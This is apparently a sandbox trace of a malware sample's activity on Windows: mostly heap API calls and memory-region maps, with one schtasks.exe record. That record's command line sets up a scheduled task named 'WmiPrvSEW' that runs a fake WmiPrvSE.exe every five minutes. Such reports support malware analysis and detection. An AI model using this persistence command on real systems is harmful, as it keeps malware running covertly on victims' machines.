(HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6e0) returned 0x10 [0087.632] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6e0 | out: hHeap=0xe0000) returned 1 [0087.632] GetProcessHeap () returned 0xe0000 [0087.632] GetProcessHeap () returned 0xe0000 [0087.632] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcea0) returned 1 [0087.632] GetProcessHeap () returned 0xe0000 [0087.632] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcea0) returned 0x20 [0087.633] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcea0 | out: hHeap=0xe0000) returned 1 [0087.633] GetProcessHeap () returned 0xe0000 [0087.633] GetProcessHeap () returned 0xe0000 [0087.633] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd700) returned 1 [0087.633] GetProcessHeap () returned 0xe0000 [0087.633] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd700) returned 0xe [0087.633] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd700 | out: hHeap=0xe0000) returned 1 [0087.633] GetProcessHeap () returned 0xe0000 [0087.633] GetProcessHeap () returned 0xe0000 [0087.633] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce70) returned 1 [0087.633] GetProcessHeap () returned 0xe0000 [0087.633] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce70) returned 0x20 [0087.634] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce70 | out: hHeap=0xe0000) returned 1 [0087.634] GetProcessHeap () returned 0xe0000 [0087.634] GetProcessHeap () returned 0xe0000 [0087.634] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd720) returned 1 [0087.634] GetProcessHeap () returned 0xe0000 [0087.634] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd720) returned 0x16 [0087.634] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd720 | out: hHeap=0xe0000) returned 1 [0087.634] GetProcessHeap () returned 0xe0000 [0087.634] GetProcessHeap () returned 0xe0000 [0087.634] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce40) returned 1 [0087.634] GetProcessHeap () returned 0xe0000 [0087.634] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce40) returned 0x20 [0087.635] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce40 | out: hHeap=0xe0000) returned 1 [0087.635] GetProcessHeap () returned 0xe0000 [0087.635] GetProcessHeap () returned 0xe0000 [0087.635] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd740) returned 1 [0087.635] GetProcessHeap () returned 0xe0000 [0087.635] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd740) returned 0x16 [0087.635] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd740 | out: hHeap=0xe0000) returned 1 [0087.635] GetProcessHeap () returned 0xe0000 [0087.635] GetProcessHeap () returned 0xe0000 [0087.635] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce10) returned 1 [0087.635] GetProcessHeap () returned 0xe0000 [0087.635] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfce10) returned 0x20 [0087.636] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfce10 | out: hHeap=0xe0000) returned 1 [0087.636] GetProcessHeap () returned 0xe0000 [0087.636] GetProcessHeap () returned 0xe0000 [0087.636] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0x119d90) returned 1 [0087.636] GetProcessHeap () returned 0xe0000 [0087.636] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0x119d90) returned 0x82 [0087.636] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0x119d90 | out: hHeap=0xe0000) returned 1 [0087.636] GetProcessHeap () returned 0xe0000 [0087.636] GetProcessHeap () returned 0xe0000 [0087.636] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcde0) returned 1 [0087.636] GetProcessHeap () returned 0xe0000 [0087.636] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcde0) returned 0x20 [0087.637] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcde0 | out: hHeap=0xe0000) returned 1 [0087.637] GetProcessHeap () returned 0xe0000 [0087.637] GetProcessHeap () returned 0xe0000 [0087.637] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd780) returned 1 [0087.637] GetProcessHeap () returned 0xe0000 [0087.637] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd780) returned 0xe [0087.637] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd780 | out: hHeap=0xe0000) returned 1 [0087.637] GetProcessHeap () returned 0xe0000 [0087.637] GetProcessHeap () returned 0xe0000 [0087.637] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdb0) returned 1 [0087.637] GetProcessHeap () returned 0xe0000 [0087.637] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfcdb0) returned 0x20 [0087.638] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfcdb0 | out: hHeap=0xe0000) returned 1 [0087.638] GetProcessHeap () returned 0xe0000 [0087.638] GetProcessHeap () returned 0xe0000 [0087.638] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb50) returned 1 [0087.638] GetProcessHeap () returned 0xe0000 [0087.638] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb50) returned 0x18 [0087.638] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb50 | out: hHeap=0xe0000) returned 1 [0087.638] GetProcessHeap () returned 0xe0000 [0087.638] GetProcessHeap () returned 0xe0000 [0087.638] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5af0) returned 1 [0087.638] GetProcessHeap () returned 0xe0000 [0087.638] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5af0) returned 0x20 [0087.638] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5af0 | out: hHeap=0xe0000) returned 1 [0087.638] GetProcessHeap () returned 0xe0000 [0087.639] GetProcessHeap () returned 0xe0000 [0087.639] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b20) returned 1 [0087.639] GetProcessHeap () returned 0xe0000 [0087.639] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5b20) returned 0x20 [0087.639] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b20 | out: hHeap=0xe0000) returned 1 [0087.639] GetProcessHeap () returned 0xe0000 [0087.639] GetProcessHeap () returned 0xe0000 [0087.639] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b50) returned 1 [0087.639] GetProcessHeap () returned 0xe0000 [0087.639] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5b50) returned 0x20 [0087.640] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b50 | out: hHeap=0xe0000) returned 1 [0087.640] GetProcessHeap () returned 0xe0000 [0087.640] GetProcessHeap () returned 0xe0000 [0087.640] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b80) returned 1 [0087.640] GetProcessHeap () returned 0xe0000 [0087.640] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5b80) returned 0x20 [0087.641] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5b80 | out: hHeap=0xe0000) returned 1 [0087.641] GetProcessHeap () returned 0xe0000 [0087.641] GetProcessHeap () returned 0xe0000 [0087.641] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb70) returned 1 [0087.641] GetProcessHeap () returned 0xe0000 [0087.641] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb70) returned 0x18 [0087.641] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb70 | out: hHeap=0xe0000) returned 1 [0087.641] GetProcessHeap () returned 0xe0000 [0087.641] GetProcessHeap () returned 0xe0000 [0087.641] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5bb0) returned 1 [0087.641] GetProcessHeap () returned 0xe0000 [0087.641] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5bb0) returned 0x20 [0087.642] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5bb0 | out: hHeap=0xe0000) returned 1 [0087.642] GetProcessHeap () returned 0xe0000 [0087.642] GetProcessHeap () returned 0xe0000 [0087.642] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c40) returned 1 [0087.642] GetProcessHeap () returned 0xe0000 [0087.642] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c40) returned 0x20 [0087.643] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c40 | out: hHeap=0xe0000) returned 1 [0087.643] GetProcessHeap () returned 0xe0000 [0087.643] GetProcessHeap () returned 0xe0000 [0087.643] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ca0) returned 1 [0087.643] GetProcessHeap () returned 0xe0000 [0087.643] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5ca0) returned 0x20 [0087.643] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5ca0 | out: hHeap=0xe0000) returned 1 [0087.643] GetProcessHeap () returned 0xe0000 [0087.643] GetProcessHeap () returned 0xe0000 [0087.643] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d00) returned 1 [0087.643] GetProcessHeap () returned 0xe0000 [0087.644] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5d00) returned 0x20 [0087.644] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d00 | out: hHeap=0xe0000) returned 1 [0087.644] GetProcessHeap () returned 0xe0000 [0087.644] GetProcessHeap () returned 0xe0000 [0087.644] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d30) returned 1 [0087.644] GetProcessHeap () returned 0xe0000 [0087.644] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5d30) returned 0x20 [0087.645] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5d30 | out: hHeap=0xe0000) returned 1 [0087.645] GetProcessHeap () returned 0xe0000 [0087.645] GetProcessHeap () returned 0xe0000 [0087.645] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb90) returned 1 [0087.645] GetProcessHeap () returned 0xe0000 [0087.645] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb90) returned 0x18 [0087.645] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb90 | out: hHeap=0xe0000) returned 1 [0087.645] GetProcessHeap () returned 0xe0000 [0087.645] GetProcessHeap () returned 0xe0000 [0087.645] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c70) returned 1 [0087.645] GetProcessHeap () returned 0xe0000 [0087.645] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xf5c70) returned 0x20 [0087.646] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xf5c70 | out: hHeap=0xe0000) returned 1 [0087.646] GetProcessHeap () returned 0xe0000 [0087.646] GetProcessHeap () returned 0xe0000 [0087.646] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb10) returned 1 [0087.646] GetProcessHeap () returned 0xe0000 [0087.646] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfbb10) returned 0x18 [0087.646] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfbb10 | out: hHeap=0xe0000) returned 1 [0087.646] exit (_Code=0) Thread: id = 199 os_tid = 0x6a0 Process: id = "59" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3b0c4000" os_pid = "0x120" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4542 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4543 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4544 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4545 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4546 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4547 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4548 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4549 start_va = 0xff900000 end_va = 0xff947fff monitored = 1 entry_point = 0xff92966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4550 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4551 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4552 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 4553 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4554 start_va = 0xd0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4555 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4556 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4557 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4558 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4559 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4560 start_va = 0x1e0000 end_va = 0x246fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4561 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4562 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4563 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4564 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4565 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4566 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4567 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4568 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4569 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4570 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4571 start_va = 0x250000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 4572 start_va = 0x270000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 4573 start_va = 0x370000 end_va = 0x4f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 4574 start_va = 0x500000 end_va = 0x528fff monitored = 0 entry_point = 0x501010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4575 start_va = 0x500000 end_va = 0x528fff monitored = 0 entry_point = 0x501010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4576 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4577 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4578 start_va = 0x500000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 4579 start_va = 0x690000 end_va = 0x1a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 4580 start_va = 0x1a90000 end_va = 0x1aa1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4581 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4582 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4583 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4584 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4585 start_va = 0x1ab0000 end_va = 0x1d7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4586 start_va = 0x1d80000 end_va = 0x1dfcfff monitored = 0 entry_point = 0x1d8cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4587 start_va = 0x1d80000 end_va = 0x1dfcfff monitored = 0 entry_point = 0x1d8cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4588 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4589 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4590 start_va = 0x1d80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 4591 start_va = 0x1d80000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d80000" filename = "" Region: id = 4592 start_va = 0x1e80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 4593 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4594 start_va = 0x2030000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 4595 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4598 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4599 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 4600 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4601 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4602 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e60000" filename = "" Region: id = 4603 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4604 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4607 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 201 os_tid = 0x694 [0087.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbfca0 | out: lpSystemTimeAsFileTime=0xbfca0*(dwLowDateTime=0x5d21cf20, dwHighDateTime=0x1d9eb0c)) [0087.510] GetCurrentProcessId () returned 0x120 [0087.510] GetCurrentThreadId () returned 0x694 [0087.510] GetTickCount () returned 0x176b438 [0087.510] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbfca8 | out: lpPerformanceCount=0xbfca8*=2489399330127) returned 1 [0087.510] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0087.510] __set_app_type (_Type=0x1) [0087.510] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0087.511] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0087.511] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0087.511] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0087.512] _onexit (_Func=0xff932afc) returned 0xff932afc [0087.512] _onexit (_Func=0xff932b58) returned 0xff932b58 [0087.512] _onexit (_Func=0xff932b80) returned 0xff932b80 [0087.512] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0087.512] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0087.512] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0087.512] _onexit (_Func=0xff932c20) returned 0xff932c20 [0087.512] _onexit (_Func=0xff932c48) returned 0xff932c48 [0087.513] _onexit (_Func=0xff932c70) returned 0xff932c70 [0087.513] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0087.513] WinSqmIsOptedIn () returned 0x0 [0087.513] GetProcessHeap () returned 0xe0000 [0087.513] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xf5560 [0087.513] SetLastError (dwErrCode=0x0) [0087.514] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0087.514] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0087.514] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0087.514] VerifyVersionInfoW (in: lpVersionInformation=0xbf460, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbf460) returned 1 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfbb20 [0087.514] lstrlenW (lpString="") returned 0 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x2) returned 0xfbb40 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xf5a50 [0087.514] GetProcessHeap () returned 0xe0000 [0087.514] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 